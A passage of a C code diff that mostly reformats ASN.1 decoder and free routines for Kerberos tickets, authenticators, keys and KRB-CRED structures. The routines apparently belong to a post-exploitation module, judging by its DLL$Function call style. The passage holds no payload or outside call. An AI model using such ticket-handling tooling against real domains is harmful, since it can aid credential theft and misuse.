(!MSASN1$ASN1BERDecExplicitTag(dd0, 0x10, &dd, &di)) + return 0; f = val; - while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) { - if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) return 0; - if (!(*f = (PKERB_PRINCIPAL_NAME_name_string)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) return 0; - if (!MSASN1$ASN1BERDecZeroCharString(dd, 0x1b, &(*f)->value)) return 0; + while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) + { + if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) + return 0; + if (!(*f = (PKERB_PRINCIPAL_NAME_name_string)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) + return 0; + if (!MSASN1$ASN1BERDecZeroCharString(dd, 0x1b, &(*f)->value)) + return 0; f = &(*f)->next; } *f = NULL; - if (!MSASN1$ASN1BERDecEndOfContents(dd0, dd, di)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd0, dd, di)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd0, di0)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_ENCRYPTED_DATA(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTED_DATA* val) { +static int ASN1CALL ASN1Dec_KERB_ENCRYPTED_DATA(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTED_DATA *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t dd0; - ASN1octet_t* di0; + ASN1octet_t *di0; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; - MSVCRT$memset((val)->o, 0, 1); - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->encryption_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; + _memset((val)->o, 0, 1); + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->encryption_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; MSASN1$ASN1BERDecPeekTag(dd, &t); - if (t == 0x80000001) { + if (t == 0x80000001) + { (val)->o[0] |= 0x80; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->version)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->version)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; } - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->cipher_text)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->cipher_text)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } static int ASN1CALL ASN1Dec_PKERB_TICKET_EXTENSIONS(ASN1decoding_t dec, ASN1uint32_t tag, - PPKERB_TICKET_EXTENSIONS* val) { - PPKERB_TICKET_EXTENSIONS* f; + PPKERB_TICKET_EXTENSIONS *val) +{ + PPKERB_TICKET_EXTENSIONS *f; ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; f = val; - while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) { - if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) return 0; - if (!(*f = (PPKERB_TICKET_EXTENSIONS)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) return 0; - if (!ASN1Dec_PKERB_TICKET_EXTENSIONS_Seq(dd, 0, &(*f)->value)) return 0; + while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) + { + if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) + return 0; + if (!(*f = (PPKERB_TICKET_EXTENSIONS)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) + return 0; + if (!ASN1Dec_PKERB_TICKET_EXTENSIONS_Seq(dd, 0, &(*f)->value)) + return 0; f = &(*f)->next; } *f = NULL; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } static int ASN1CALL ASN1Dec_PKERB_TICKET_EXTENSIONS_Seq(ASN1decoding_t dec, ASN1uint32_t tag, - PKERB_TICKET_EXTENSIONS_Seq* val) { + PKERB_TICKET_EXTENSIONS_Seq *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->te_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->te_data)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->te_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->te_data)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_AUTHENTICATOR(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AUTHENTICATOR* val) { +static int ASN1CALL ASN1Dec_KERB_AUTHENTICATOR(ASN1decoding_t dec, ASN1uint32_t tag, KERB_AUTHENTICATOR *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t pExplTagDec0; - ASN1octet_t* pbExplTagDataEnd0; + ASN1octet_t *pbExplTagDataEnd0; ASN1decoding_t dd0; - ASN1octet_t* di0; + ASN1octet_t *di0; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x40000002, &pExplTagDec0, &pbExplTagDataEnd0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) return 0; - MSVCRT$memset((val)->o, 0, 1); - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->authenticator_version)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecZeroCharString(dd0, 0x1b, &(val)->client_realm)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_PRINCIPAL_NAME(dd0, 0, &(val)->client_name)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x40000002, &pExplTagDec0, &pbExplTagDataEnd0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) + return 0; + _memset((val)->o, 0, 1); + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->authenticator_version)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecZeroCharString(dd0, 0x1b, &(val)->client_realm)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000002, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_PRINCIPAL_NAME(dd0, 0, &(val)->client_name)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; MSASN1$ASN1BERDecPeekTag(dd, &t); - if (t == 0x80000003) { + if (t == 0x80000003) + { (val)->o[0] |= 0x80; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_CHECKSUM(dd0, 0, &(val)->checksum)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_CHECKSUM(dd0, 0, &(val)->checksum)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; } - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000004, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->client_usec)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000005, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecGeneralizedTime(dd0, 0x18, &(val)->client_time)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000004, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->client_usec)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000005, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecGeneralizedTime(dd0, 0x18, &(val)->client_time)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; MSASN1$ASN1BERDecPeekTag(dd, &t); - if (t == 0x80000006) { + if (t == 0x80000006) + { (val)->o[0] |= 0x40; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000006, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_ENCRYPTION_KEY(dd0, 0, &(val)->subkey)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000006, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_ENCRYPTION_KEY(dd0, 0, &(val)->subkey)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; } MSASN1$ASN1BERDecPeekTag(dd, &t); - if (t == 0x80000007) { + if (t == 0x80000007) + { (val)->o[0] |= 0x20; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000007, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecSXVal(dd0, 0x2, &(val)->sequence_number)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000007, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecSXVal(dd0, 0x2, &(val)->sequence_number)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; } MSASN1$ASN1BERDecPeekTag(dd, &t); - if (t == 0x80000008) { + if (t == 0x80000008) + { (val)->o[0] |= 0x10; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000008, &dd0, &di0)) return 0; - if (!ASN1Dec_PKERB_AUTHORIZATION_DATA(dd0, 0, &(val)->authorization_data)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000008, &dd0, &di0)) + return 0; + if (!ASN1Dec_PKERB_AUTHORIZATION_DATA(dd0, 0, &(val)->authorization_data)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; } - if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) return 0; + if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_CHECKSUM(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CHECKSUM* val) { +static int ASN1CALL ASN1Dec_KERB_CHECKSUM(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CHECKSUM *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->checksum_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->checksum)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->checksum_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->checksum)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_ENCRYPTION_KEY(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTION_KEY* val) { +static int ASN1CALL ASN1Dec_KERB_ENCRYPTION_KEY(ASN1decoding_t dec, ASN1uint32_t tag, KERB_ENCRYPTION_KEY *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->keytype)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->keyvalue)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->keytype)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->keyvalue)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } static int ASN1CALL ASN1Dec_PKERB_AUTHORIZATION_DATA(ASN1decoding_t dec, ASN1uint32_t tag, - PPKERB_AUTHORIZATION_DATA* val) { - PPKERB_AUTHORIZATION_DATA* f; + PPKERB_AUTHORIZATION_DATA *val) +{ + PPKERB_AUTHORIZATION_DATA *f; ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; f = val; - while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) { - if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) return 0; - if (!(*f = (PPKERB_AUTHORIZATION_DATA)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) return 0; - if (!ASN1Dec_PKERB_AUTHORIZATION_DATA_Seq(dd, 0, &(*f)->value)) return 0; + while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) + { + if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) + return 0; + if (!(*f = (PPKERB_AUTHORIZATION_DATA)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) + return 0; + if (!ASN1Dec_PKERB_AUTHORIZATION_DATA_Seq(dd, 0, &(*f)->value)) + return 0; f = &(*f)->next; } *f = NULL; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } static int ASN1CALL ASN1Dec_PKERB_AUTHORIZATION_DATA_Seq(ASN1decoding_t dec, ASN1uint32_t tag, - PKERB_AUTHORIZATION_DATA_Seq* val) { + PKERB_AUTHORIZATION_DATA_Seq *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->auth_data_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->auth_data)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->auth_data_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecOctetString(dd0, 0x4, &(val)->auth_data)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd, di)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_CRED(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CRED* val) { +static int ASN1CALL ASN1Dec_KERB_CRED(ASN1decoding_t dec, ASN1uint32_t tag, KERB_CRED *val) +{ ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1decoding_t pExplTagDec0; - ASN1octet_t* pbExplTagDataEnd0; + ASN1octet_t *pbExplTagDataEnd0; ASN1decoding_t dd0; - ASN1octet_t* di0; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x40000016, &pExplTagDec0, &pbExplTagDataEnd0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->version)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->message_type)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!ASN1Dec_KERB_CRED_tickets(dd, 0, &(val)->tickets)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) return 0; - if (!ASN1Dec_KERB_ENCRYPTED_DATA(dd0, 0, &(val)->encrypted_part)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) return 0; + ASN1octet_t *di0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x40000016, &pExplTagDec0, &pbExplTagDataEnd0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(pExplTagDec0, 0x10, &dd, &di)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000000, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->version)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000001, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecS32Val(dd0, 0x2, &(val)->message_type)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!ASN1Dec_KERB_CRED_tickets(dd, 0, &(val)->tickets)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd, 0x80000003, &dd0, &di0)) + return 0; + if (!ASN1Dec_KERB_ENCRYPTED_DATA(dd0, 0, &(val)->encrypted_part)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd, dd0, di0)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(pExplTagDec0, dd, di)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, pExplTagDec0, pbExplTagDataEnd0)) + return 0; return 1; } -static int ASN1CALL ASN1Dec_KERB_CRED_tickets(ASN1decoding_t dec, ASN1uint32_t tag, PKERB_CRED_tickets* val) { - PKERB_CRED_tickets* f; +static int ASN1CALL ASN1Dec_KERB_CRED_tickets(ASN1decoding_t dec, ASN1uint32_t tag, PKERB_CRED_tickets *val) +{ + PKERB_CRED_tickets *f; ASN1decoding_t dd0; - ASN1octet_t* di0; + ASN1octet_t *di0; ASN1decoding_t dd; - ASN1octet_t* di; + ASN1octet_t *di; ASN1uint32_t t; - if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x80000002, &dd0, &di0)) return 0; - if (!MSASN1$ASN1BERDecExplicitTag(dd0, 0x10, &dd, &di)) return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dec, tag ? tag : 0x80000002, &dd0, &di0)) + return 0; + if (!MSASN1$ASN1BERDecExplicitTag(dd0, 0x10, &dd, &di)) + return 0; f = val; - while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) { - if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) return 0; - if (!(*f = (PKERB_CRED_tickets)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) return 0; - if (!ASN1Dec_KERB_TICKET(dd, 0, &(*f)->value)) return 0; + while (MSASN1$ASN1BERDecNotEndOfContents(dd, di)) + { + if (!MSASN1$ASN1BERDecPeekTag(dd, &t)) + return 0; + if (!(*f = (PKERB_CRED_tickets)MSASN1$ASN1DecAlloc(dd, sizeof(**f)))) + return 0; + if (!ASN1Dec_KERB_TICKET(dd, 0, &(*f)->value)) + return 0; f = &(*f)->next; } *f = NULL; - if (!MSASN1$ASN1BERDecEndOfContents(dd0, dd, di)) return 0; - if (!MSASN1$ASN1BERDecEndOfContents(dec, dd0, di0)) return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dd0, dd, di)) + return 0; + if (!MSASN1$ASN1BERDecEndOfContents(dec, dd0, di0)) + return 0; return 1; } -static void ASN1CALL ASN1Free_KERB_AP_REQUEST(KERB_AP_REQUEST* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_AP_REQUEST(KERB_AP_REQUEST *val) +{ + if (val) + { MSASN1$ASN1bitstring_free(&(val)->ap_options); ASN1Free_KERB_TICKET(&(val)->ticket); ASN1Free_KERB_ENCRYPTED_DATA(&(val)->authenticator); } } -static void ASN1CALL ASN1Free_KERB_TICKET(KERB_TICKET* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_TICKET(KERB_TICKET *val) +{ + if (val) + { MSASN1$ASN1ztcharstring_free((val)->realm); ASN1Free_KERB_PRINCIPAL_NAME(&(val)->server_name); ASN1Free_KERB_ENCRYPTED_DATA(&(val)->encrypted_part); - if ((val)->o[0] & 0x80) { + if ((val)->o[0] & 0x80) + { ASN1Free_PKERB_TICKET_EXTENSIONS(&(val)->ticket_extensions); } } } -static void ASN1CALL ASN1Free_KERB_ENCRYPTED_DATA(KERB_ENCRYPTED_DATA* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_ENCRYPTED_DATA(KERB_ENCRYPTED_DATA *val) +{ + if (val) + { MSASN1$ASN1octetstring_free(&(val)->cipher_text); } } -static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME(KERB_PRINCIPAL_NAME* val) { - if (val) { +static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME(KERB_PRINCIPAL_NAME *val) +{ + if (val) + { ASN1Free_KERB_PRINCIPAL_NAME_name_string(&(val)->name_string); } } -static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME_name_string(PKERB_PRINCIPAL_NAME_name_string* val) { +static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME_name_string(PKERB_PRINCIPAL_NAME_name_string *val) +{ PKERB_PRINCIPAL_NAME_name_string f, ff; - if (val) { - for (f = *val; f; f = ff) { + if (val) + { + for (f = *val; f; f = ff) + { MSASN1$ASN1ztcharstring_free(f->value); ff = f->next; MSASN1$ASN1Free(f); @@ -884,10 +1187,13 @@ static void ASN1CALL ASN1Free_KERB_PRINCIPAL_NAME_name_string(PKERB_PRINCIPAL_NA } } -static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS(PPKERB_TICKET_EXTENSIONS* val) { +static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS(PPKERB_TICKET_EXTENSIONS *val) +{ PPKERB_TICKET_EXTENSIONS f, ff; - if (val) { - for (f = *val; f; f = ff) { + if (val) + { + for (f = *val; f; f = ff) + { ASN1Free_PKERB_TICKET_EXTENSIONS_Seq(&f->value); ff = f->next; MSASN1$ASN1Free(f); @@ -895,41 +1201,54 @@ static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS(PPKERB_TICKET_EXTENSIONS* } } -static void ASN1CALL ASN1Free_PKERB_TICKET_EXTENSIONS_Seq(PKERB_TICKET_EXTENSIONS_Seq* val) { - if 